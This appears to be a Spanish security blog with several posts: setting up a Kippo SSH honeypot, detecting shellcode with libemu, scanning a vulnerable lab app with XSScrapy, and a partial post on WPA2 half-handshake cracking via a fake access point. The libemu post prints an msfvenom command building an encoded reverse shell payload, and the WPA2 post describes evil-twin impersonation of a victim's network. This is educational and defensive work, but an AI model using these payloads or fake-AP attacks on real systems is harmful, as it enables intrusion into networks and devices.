Este será el primer articulo de una serie en la que se hablará sobre algunos de los honeypots más utilizados para la detección y prevención de ataques. Antes de continuar y para los que no lo saben, un Honeypot en informática es un servicio activo que acepta y procesa peticiones como cualquier servidor del tipo SSH, HTTP, SMB, etc. Pero en realidad se encarga de monitorizar y registrar los intentos fallidos de autenticación y cualquier ataque contra el supuesto servicio, se trata de un señuelo. Es una forma de engañar a un atacante haciéndole creer que se encuentra perfilando y analizando un servicio del objetivo, cuando en realidad lo que está haciendo es suministrándole información al objetivo sobre las actividades que está realizando.
Uno de los más conocidos y utilizados es Kippo, un honeypot que se encarga de levantar un servicio SSH en el puerto indicado y registrar todos los intentos de autenticación realizados contra dicho servicio. Kippo es un honeypot altamente personalizable y es posible utilizarlo para localizar a un atacante e incluso, para que pueda iniciar sesión en el supuesto sistema y permitirle interactuar con un sistema de ficheros ficticio, el cual también es configurable.

A continuación se explica como instalar y configurar Kippo en un sistema Linux.

Instalación y configuración de Kippo.

Kippo es un sistema que ha sido desarrollado utilizando Python y Twisted, una potente librería de la que ya he hablado en alguna ocasión. Una de las ventajas de Kippo, es que se puede lanzar de forma programática desde un script en Python gracias a las funciones definidas en el modulo “twistd” de Twisted, esto significa que puedes crear tus propios scripts en Python y arrancar Kippo en cualquier momento.

Para instalar Kippo, se debe tener Python instalado y algunas librerías en el entorno, tales como Twisted, PyCrypto y service_identity Zope. Una vez cumplidas dichas dependencias, se puede descargar el proyecto desde su repositorio en GitHub.

>git clone https://github.com/desaster/kippo.git

>ls -F

data/ doc/ honeyfs/ kippo.cfg.dist log/ start.sh* txtcmds/

dl/ fs.pickle kippo/ kippo.tac README.md stop.sh utils/

 

Lo primero que se puede apreciar en el directorio descargado, es que existen dos ficheros ejecutables que son “start.sh” y “stop.sh”, evidentemente son utilizados para iniciar y detener Kippo, pero antes de iniciar el Honeypot, se deben conocer las propiedades de configuración que permitirán personalizar el servicio y que sea más difícil para un atacante determinar que se trata de un honeypot. El script “start.sh” buscará el fichero de configuración “kippo.cfg” en el directorio desde donde se ejecuta y como se puede apreciar en el listado de contenidos del directorio, dicho fichero no existe, pero si que se puede ver el fichero “kippo.cfg.dist”, el cual se puede renombrar a “kippo.cfg”. El fichero “kippo.cfg.dist” contiene las propiedades que pueden ser útiles para iniciar el servicio con por la configuración defecto. Algunas de dichas propiedades (las más interesantes) se explican a continuación.

ssh_addr: Interfaz de red en la que iniciará el honeypot. El valor por defecto es “0.0.0.0”

ssh_port: Puerto en el que iniciará el honeypot. El valor por defecto es “2222”

hostname: Será cadena que verá un atacante cuando consiga una shell en el honeypot. Evidentemente, es una buena recomendación poner un nombre que parezca pertenecer a un servidor real en el objetivo.

download_path: Directorio en el que se guardaran todos los ficheros que intente descargar el atacante en el servidor.

filesystem_file: Probablemente es una de las propiedades más interesantes a la hora de engañar a un atacante haciéndole creer que se encuentra en un sistema legitimo, ya que esta propiedad se encarga de definir un sistema de ficheros completo, con sus correspondientes ficheros, permisos y demás. Este fichero se debe encontrar en formato de objetos serializados en Python (Pickle). Se puede utilizar el script “utils/createfd.py” para crear dicho sistema de ficheros partiendo de un sistema elegido por el usuario.

data_path: En el directorio indicado en esta propiedad se debe ubicar el fichero “usersdb.txt” en el se definirá por cada línea, el usuario y sus credenciales de acceso al supuesto honeypot. Evidentemente, se recomienda indicar una contraseña que sea fácilmente predecible para que el atacante pueda entrar y contar con más tiempo para saber de quien se trata.

txtcmds_path: En el directorio indicado en esta propiedad se deben definir los programas y utilidades que podrá ejecutar el atacante una vez se encuentre dentro del honeypot.

ssh_version_string: Será el banner que devolverá el servicio cuando se realicen peticiones sobre el puerto definido en la propiedad “ssh_port”

interact_enabled: Kippo permite controlar las sesiones que el atacante tenga iniciadas contra el honeypot en un servicio independiente de monitoreo. Por defecto dicha propiedad se encuentra desactivada, pero es muy útil para ver en tiempo real lo que está haciendo el atacante en el honeypot.

interact_port: Puerto en el que se iniciará el servicio de monitoreo. Solamente tiene sentido indicar un valor en esta propiedad si “interact_enabled” tiene el valor “true”.
Existen otras propiedades en Kippo que también pueden ser interesantes para el lector, por ese motivo se recomienda leer la documentación para hacerse una idea de cuáles son dichas propiedades.

Una buena practica para captar la mayor cantidad de atacantes, consiste en el definir el honeypot un puerto que no requiera privilegios de root para ser utilizado, como por ejemplo el “2222” y redireccionar todas peticiones entrantes por el puerto “22” al puerto donde está corriendo el honeypot. Esto puede hacerse muy fácilmente utilizando una regla de iptables como la siguiente.

iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

Ahora bien, si se cuenta con un servicio SSH productivo, se recomienda levantarlo en un puerto distinto al “22”.

El siguiente fichero de configuración puede ser utilizado para arrancar Kippo con algunos valores de configuración personalizados.

[honeypot]

ssh_port = 2222

hostname = PROServer

log_path = log

download_path = dl

contents_path = honeyfs

filesystem_file = fs.pickle

data_path = data

txtcmds_path = txtcmds

rsa_public_key = data/ssh_host_rsa_key.pub

rsa_private_key = data/ssh_host_rsa_key

dsa_public_key = data/ssh_host_dsa_key.pub

dsa_private_key = data/ssh_host_dsa_key

exec_enabled = true

fake_addr = 172.28.78.10

ssh_version_string = SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

interact_enabled = true

interact_port = 5000

 

El fichero anterior debe ubicarse en el directorio de Kippo con el nombre “kippo.cfg”. Ahora es el momento de lanzar el script “start.sh” para iniciar el honeypot.

>./start.sh

twistd (the Twisted daemon) 14.0.0

Copyright (c) 2001-2014 Twisted Matrix Laboratories.

See LICENSE for details.

Starting kippo in the background…

EL servicio quedará abierto en el puerto “2222” y además, es posible ver los logs que ha generado Kippo en el proceso de arranque.

>cat log/kippo.log

2015-01-25 23:57:37+0100 [-] Log opened.

2015-01-25 23:57:37+0100 [-] twistd 14.0.0 (/usr/bin/python 2.7.6) starting up.

2015-01-25 23:57:37+0100 [-] reactor class: twisted.internet.epollreactor.EPollReactor.

2015-01-25 23:57:37+0100 [-] HoneyPotSSHFactory starting on 2222

2015-01-25 23:57:37+0100 [-] Starting factory <kippo.core.ssh.HoneyPotSSHFactory instance at 0x7fa27d2b67e8>

2015-01-25 23:57:37+0100 [-] Factory starting on 5000

2015-01-25 23:57:37+0100 [-] Starting factory <twisted.internet.protocol.Factory instance at 0x7fa27c03cd40>

>nc localhost 2222

SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2

>

 

Como se puede ver, el banner devuelto por el servicio es el mismo que se ha definido en la propiedad “ssh_version_string”. Por otro lado, también se ha abierto el puerto “5000” para monitorizar el servicio. En dicho puerto se podrá acceder a una consola de administración básica que permitirá listar las sesiones activas, visualizar en tiempo real lo que el atacante está digitando en la consola del honeypot e incluso, interactuar con dicha sesión y escribir en la misma consola que el atacante está utilizando, algo que evidentemente despertaría sus sospechas.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

 

En el fichero “log/kippo.log” se podrán ver las trazas de cada uno de los intentos de conexión que se han realizado contra el honeypot.

2015-01-26 00:06:42+0100 [kippo.core.ssh.HoneyPotSSHFactory] New connection: 127.0.0.1:43249 (127.0.0.1:2222) [session: 2]

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] Remote SSH version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] outgoing: aes128-ctr hmac-md5 none

2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] incoming: aes128-ctr hmac-md5 none

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] NEW KEYS

2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] starting service ssh-userauth

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth none

2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth keyboard-interactive

2015-01-26 00:06:51+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/123456] failed
2015-01-26 00:07:01+0100 [-] adastra failed auth password

2015-01-26 00:07:01+0100 [-] unauthorized login:

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/asadas] failed

2015-01-26 00:07:04+0100 [-] adastra failed auth password

2015-01-26 00:07:04+0100 [-] unauthorized login:

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password

2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/wwqwq] failed

Si el atacante consigue acceso, podrá ver una consola en el supuesto servicio y podrá interactuar con ella, limitado únicamente por los comandos que se han definido en la propiedad “txtcmds_path” del fichero de configuración utilizado para arrancar Kippo.

>ssh -p2222 localhost -l root

Password:

root@PROServer:~# ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~# uname -a

Linux PROServer 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux

 

Desde la consola de administración, se puede ver la nueva sesión creada en el honeypot y se puede interactuar con ella.

>telnet -e q 127.0.0.1 5000

Telnet escape character is ‘q’.

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘q’.

*** kippo session management console ***

List of commands:

list – list all active sessions

view – attach to a session in read-only mode

hijack – attach to a session in interactive mode

disconnect – disconnect a session

help – this help

exit – disconnect the console

list

ID clientIP clientVersion

3 127.0.0.1 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

view 3

** Attaching to #3, hit ESC to return

ls

root@PROServer:~# pwd

/root

root@PROServer:~# whoami

root

root@PROServer:~# id

uid=0(root) gid=0(root) groups=0(root)

root@PROServer:~#

** Interactive session closed.

hijack 3

** Attaching to #3, hit ESC to return

Te he pillado…

bash: Te: command not found

root@PROServer:~# whoami

root

disconnect 3

** Disconnecting session #3

exit

Connection closed by foreign host.

 

El comando “list” ha permitido visualizar las sesiones iniciadas en el honeypot y con los comandos “view” y “hijack” se puede interactuar con una de dichas sesiones, el primero solamente permite ver lo que el atacante escribe en la consola del honeypot, mientras que el segundo permite interactuar directamente con dicha sesión y enviar comandos/mensajes al atacante. Finalmente el comando “disconnect” interrumpe una sesión activa, cortando la conexión entre el atacante y el honeypot.

Más sobre Honeypots en un próximo articulo.

Saludos y Happy Hack!

Adastra.

Detección de malware con libemu

marzo 17, 2015 1 comentario

Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.

Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.

“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”

Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.

“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.

Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.

>git clone git://git.carnivore.it/libemu.git>autoreconf -v -i

>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror

>make

Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.

Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.

Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.

Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.

./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 98 (iteration=0)

Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.

El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.

En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”

./sctest –help -a PATH use this argos csi files as input

–argos-csi= PATH

-b IP:PORT bind this ip:port

–bind=IP:PORT

-c IP:PORT redirect connects to this ip:port

–connect=IP:PORT

-C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””)

–cmd= CMD

-d INTEGER dump the shellcode (binary) to stdout

–dump=INTEGER

-g run getpc mode, try to detect a shellcode

–getpc

-G FILEPATH save a dot formatted callgraph in filepath

–graph=FILEPATH

-h show this help

–help

-i proxy api calls to the host operating system

–interactive

-l list all tests

–listtests

-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues

–offset=[INT|HEX]

-p PATH write shellcode profile to this file

–profile= PATH

-S read shellcode/buffer from stdin, works with -g

–stdin

-s INTEGER max number of steps to run

–steps=INTEGER

-t INTEGER the test to run

–testnumber=INTEGER

-v be verbose, can be used multiple times, f.e. -vv

–verbose

Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.

>./sctest -l
0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com

2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com

3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com

5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com

6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com

7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com

8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com

9 ) some old dcom shellcode

10) brihgtstor discovery

11) amberg

12) lindau – linkbot connectback version

13) bremen – linkbot bind version

14) halle – filetransferr via csend

15) tills neuer

16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123

17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123)

18) the hackers choice realplayer 8 exploit

19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com

20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true

21) till sein lsass dump

22) bindshell::schoenborn

23) sqlslammer

24) linux bindshell

25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39

26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11

27) libemu dos

28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com

29) crash in loadlibrary

30) crash in fwrite

31) crash in lwrite/hwrite

32) crash in malloc

33) crash in send

34) crash in execve

Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.

A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.

>./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1

success offset = 0x00000000

int socket(int domain=2, int type=1, int protocol=0);

connect

stepcount 106

int socket (

int domain = 2;

int type = 1;

int protocol = 0;

) = 14;

int connect (

int sockfd = 14;

struct sockaddr_in * serv_addr = 0x00416fc2 =>

struct = {

short sin_family = 2;

unsigned short sin_port = 23569 (port=4444);

struct in_addr sin_addr = {

unsigned long s_addr = -201217856 (host=192.168.1.244);

};

char sin_zero = ” “;

};

int addrlen = 102;

) = 0;

Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.

Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.

>./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin

El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.

>sudo apt-get install graphviz

El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.

payloadGraph

Flujo de invocaciones del programa

Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.

Un saludo y Happy Hack!
Adastra.

XSScrapy para procesos de crawling e identificación de vulnerabilidades

marzo 12, 2015 Deja un comentario

Scrapy es un framework que cuenta con varias utilidades para crear spiders y crawlers, se ha vuelto bastante popular y en cada nueva versión es mucho más estable y robusto. Hace algún tiempo comentaba en un vídeo de la serie de Hacking con Python los elementos que a mi parecer eran los más interesantes de Scrapy y cómo se puede utilizar desde cualquier script en Python. Dado que este tipo de actividades casi siempre suelen ir de la mano con procesos de minería y extracción de datos, a lo mejor no resulta tan llamativo para un pentester/hacker (o si), pero cuando hablamos de ejecutar un proceso de crawling no solo para extraer información, sino para detectar vulnerabilidades en aplicaciones web, seguro que más de uno comienza a ver que se pueden hacer cosas muy interesantes.
Si has visto como funciona un spider y la cantidad de elementos involucrados en un proceso de crawling, casi seguro que alguna vez te habrás preguntado ¿Y cómo puedo utilizar esto para ejecutar tareas de pentesting? Creo que es una pregunta bastante lógica, ya que además de visitar enlaces y analizar la estructura de un sitio web, también estás jugando con cabeceras HTTP, parámetros en el cuerpo de la petición o directamente en la URL, formularios, diferentes tipos de “content-types” y un largo etc. Son muchas las posibilidades que tienes a tu disposición.
Ahora bien, imaginar por un segundo que esto lo aplicamos no solamente a aplicaciones web en Internet, sino también a servicios ocultos del tipo HTTP en la red de TOR. A mi personalmente me ha parecido una idea de lo más interesante y ahora mismo me encuentro desarrollándola para la próxima versión Tortazo, algo de lo que pienso hablaros en un próximo articulo.

Si quieres utilizar Scrapy directamente y realizar pruebas de pentesting contra todos los enlaces encontrados y procesados por un Spider, no hay demasiados impedimentos para hacerlo, sin embargo existe una herramienta que ya lo hace por ti, dicha herramienta es XSScrapy.

  1. Instalación y uso de XSScrapy

XSScrapy es una aplicación fácil de instalar y de usar, como ya os imaginaréis se basa en Scrapy y permite encontrar vulnerabilidades del estilo XSS (tanto reflejado como almacenado) y también vulnerabilidades del tipo SQLi. El proyecto se encuentra alojado en el siguiente repositorio de GitHub https://github.com/DanMcInerney/xsscrapy y para instalarlo basta con utilizar el comando “pip” junto con el fichero de dependencias.

>git clone https://github.com/DanMcInerney/xsscrapy.git && cd xsscrapy

>pip install -r requirements.txt

A continuación se puede comenzar a probar la aplicación, que sobresale por su simplicidad.

>./xsscrapy.py -h

usage: xsscrapy.py [-h] [-u URL] [-l LOGIN] [-p PASSWORD] [-c CONNECTIONS]

[-r RATELIMIT] [–basic]

optional arguments:

-h, –help show this help message and exit

-u URL, –url URL URL to scan; -u http://example.com

-l LOGIN, –login LOGIN

Login name; -l danmcinerney

-p PASSWORD, –password PASSWORD

Password; -p pa$$w0rd

-c CONNECTIONS, –connections CONNECTIONS

Set the max number of simultaneous connections

allowed, default=30

-r RATELIMIT, –ratelimit RATELIMIT

Rate in requests per minute, default=0

–basic Use HTTP Basic Auth to login

Evidentemente la opción que resulta más interesante es en la que se puede definir la URL (-u/–url) del objetivo y a partir de allí, comenzar a ejecutar el procesamiento de enlaces y peticiones/respuestas HTTP. Otra opción interesante es la que permite establecer el número de conexiones simultaneas máximo contra el sitio web en cuestión (-c/–connections) algo que resulta muy practico para evitar que un WAF detecte el ataque y bloquee las peticiones desde la IP donde se realizan. Además, en el caso de que el sitio web requiera autenticación (digest o basic) es posible indicar un usuario y una contraseña con los interruptores -l y -p.
Ahora que tenemos una imagen general del funcionamiento del programa, podemos comenzar a utilizarlo con una aplicación web vulnerable. Existen aplicaciones web para realizar pruebas de penetración de todos los gustos y colores, algunas de ellas ya las he mencionado y explicado en varias ocasiones en este sitio, tales como DOJO InsecureWebApp, Hacme Casino, DVWA (Damn Vulnerable Web Application), WebGoat, etc. En esta ocasión vamos a utilizar Django-Moth, una aplicación web vulnerable escrita en Django que puedes descargar libremente desde aquí: https://github.com/andresriancho/django-moth pero si lo prefieres puedes utilizar cualquier otra, a efectos prácticos da un poco igual.

Después de descargar el proyecto del repositorio GitHub, se puede iniciar la aplicación Django de la siguiente forma:

>python manage runserver 8080

Performing system checks…

System check identified no issues (0 silenced).

February 18, 2015 – 17:05:08

Django version 1.7.1, using settings ‘djmoth.settings’

Starting development server at http://127.0.0.1:8080/

Quit the server with CONTROL-C.

El puerto por defecto es el 8000, pero como se puede apreciar se puede cambiar por cualquier otro. Recordar que se trata de una aplicación web con vulnerabilidades fáciles de explotar, evitar utilizarla en Internet y mucho menos, utilizar un puerto como el 80 que requiere privilegios de root.

Todas las vulnerabilidades de Django Moth se encuentran separadas por secciones, pero aun así, el crawler de XSScrapy, a la fecha de redactar este articulo, no permite establecer reglas para indicar en qué momento debe detenerse el ataque y cuales son los enlaces que se permite visitar. Tal falta de control es un problema a la larga, ya que muchas páginas tienen enlaces a otros dominios y es fácil que el proceso recursivo termine llevando al crawler a sitios que no deberían analizarse, así que hay que estar atentos a las trazas que arroja el programa en todo momento. Ahora se puede ejecutar algo como lo siguiente:

./xsscrapy.py -u http://localhost:8080/audit/os_commanding/blind_osc.py?cmd=ls

Se podrán ver varias trazas y los elementos que la herramienta va analizando en cada iteración. En el caso de interrumpir el proceso manualmente o que termine debido a que ya se han recorrido todos los enlaces, se genera automáticamente un fichero con nombre: “xsscrapy-vulns.txt” el cual contiene todos los resultados encontrados. Incluye cosas como las vulnerabilidades encontradas, puntos de inyección, parámetros utilizados, la petición y respuesta del servidor, etc.

Una herramienta interesante con mucho potencial y aunque a mi juicio se puede explotar mucho más el framework de Scrapy, puede resultar muy instructiva para aprender detalles avanzados del framework, eso si, solamente si estas dispuesto a ver el código y entender cómo funciona, algo que desde luego te recomendaría ya que tiene detalles técnicos muy valiosos y que te ayudarán a aprender ciertos “trucos” a la hora de crear tus propias herramientas.

Un saludo y Happy Hack!
Adastra.

Crackeando WPA2 con un Half-Handshake

marzo 10, 2015 Deja un comentario

Las redes wifi con WPA/WPA2 activado suelen ser suficientemente seguras y dadas sus características, a la fecha de redactar este articulo, la única forma de atacar directamente una red con este mecanismo de protección es intentando capturar un 4way-handshake entre el cliente y un AP. Un 4way-handshake en la terminología de WPA se refiere a los paquetes de datos intercambiados entre AP y cliente a la hora de realizar el proceso de autenticación mutuo. No obstante, aunque un handshake completo es lo deseado para poder iniciar un ataque por diccionario, también es posible hacerlo con un handshake “a medias”, es decir, cuando el cliente inicia el proceso de autenticación con un AP y dicho proceso ha fallado. Ahora bien, seguramente el lector ya lo sabe, pero cuando un dispositivo tiene registrado un AP con el que suele conectarse con frecuencia (como por ejemplo una red wifi domestica), dicho dispositivo envía de forma constante paquetes del tipo “PROBE_REQUEST” con la esperanza de que el AP se encuentre en en la zona de alcance. Cuando un AP con el SSID especificado responde con un “PROBE_RESPONSE”, el proceso de autenticación en ambos sentidos comienza inmediatamente, dando lugar a una serie de peticiones que identifican tanto al cliente como al AP y determinan si ambos son quienes dicen ser. Se trata de un procedimiento robusto en el que la relación de confianza en ambos sentidos es vital para que la conexión se pueda realizar correctamente. No obstante, es posible que solamente una de las dos partes se pueda identificar con la otra de forma correcta, en este caso hablamos de un handshake a medias, ya que solamente una de las dos entidades ha podido reconocer a la otra. Con un handshake a medias también es posible realizar el mismo ataque por diccionario que con un handshake completo y por este motivo, también es un vector de ataque valido en este tipo de entornos.
Ahora, ¿Cuándo y cómo se debe llevar a cabo este tipo de ataque? Cuando se capturan los paquetes “PROBE_REQUEST” de un cliente, dichos mensajes contienen el SSID del AP que el cliente busca y en este punto, un atacante puede levantar un AP falso con dicho SSID para responder a las peticiones enviadas por el cliente. Para responder al “cómo” de la pregunta anterior, pueden haber varios mecanismos validos, como por ejemplo utilizando la herramienta “ap-hotspot”. Por simplicidad y porque es una solución rápida de implementar, se puede utilizar la herramienta “KDE NetworkManager” o el “NetworkManager de Gnome”, a efectos prácticos utilizar cualquiera de los dos resulta equivalente.

Configurando un AP inalámbrico con el NetworkManager

En sistemas Debian el paquete que incluye el KDE NetworkManager es el “network-manager-kde” y en sistemas Ubuntu el “plasma-nm”. Como es acostumbrado en este tipo de sistemas, se puede instalar muy fácilmente utilizando herramientas como “apt-get”. Por otro lado, en sistemas Debian y Ubuntu con GNOME, el NetworkManager viene incluido por defecto y se puede ver en el panel lateral en donde se encuentran otras herramientas del escritorio. En ambos casos, crear un AP es bastante simple, las imágenes que se enseñan a continuación muestran cómo crear un AP con un SSID y una contraseña. (Antes de crear la conexión, asegurarse de que la red wifi se encuentra desactivada).

 

wifi1

Creando conexión inalámbrica con NetworkManager de Gnome

wifi2

Estableciendo los detalles básicos de conexión

wifi3

Estableciendo credenciales de acceso a la conexión.

Después de crear la conexión, aun es necesario cambiar el modo de la conexión, de esta forma actuará como AP. Para ello, es necesario editar el siguiente fichero de configuración.

sudo gedit /etc/NetworkManager/system-connections/ONO-FAKE

Donde “ONO-FAKE” es el nombre que se le ha dado a la conexión. Al abrir dicho fichero de configuración, es necesario cambiar la línea “mode=infrastructure” por “mode=ap”. El contenido del fichero será similar al siguiente:

[connection]

id=ONO-FAKE

uuid=c3704266-e143-4705-a3c0-9511fc2d37eb

type=802-11-wireless

[802-11-wireless]

ssid=ONO12B5

